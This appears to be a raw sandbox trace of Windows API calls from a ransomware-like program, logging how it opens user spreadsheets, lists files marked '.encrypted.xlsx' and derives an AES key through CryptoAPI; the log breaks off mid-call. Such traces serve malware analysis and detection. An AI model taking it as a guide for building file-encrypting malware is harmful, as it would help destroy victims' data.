ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.162] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x11f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.162] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4595) returned 1 [0025.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0025.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\n", cchWideChar=70, lpMultiByteStr=0xe8f40512c0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 70 [0025.162] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069bf0*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069bf0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x45, lpOverlapped=0x0) returned 1 [0025.162] CloseHandle (hObject=0x1fc) returned 1 [0025.163] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.163] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.163] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.163] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.163] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.163] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.163] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.164] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.165] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.165] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.165] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0025.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls", cchWideChar=60, lpMultiByteStr=0xe8f4051db0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls", lpUsedDefaultChar=0x0) returned 60 [0025.165] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\5cq0nxpqprd.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0025.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=60, lpWideCharStr=0xe8f40659f0, cchWideChar=60 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls") returned 60 [0025.166] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.166] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.166] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.167] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.167] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.167] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.167] CloseHandle (hObject=0x1fc) returned 1 [0025.167] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.167] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.167] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.167] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.168] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.168] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.168] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.168] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.169] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.169] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.170] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.170] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.170] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.171] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.171] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b3f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.171] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.171] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.172] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.172] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.172] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.172] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0025.172] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.173] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\5cq0nxpqprd.xls"), dwDesiredAccess=0x80000000, 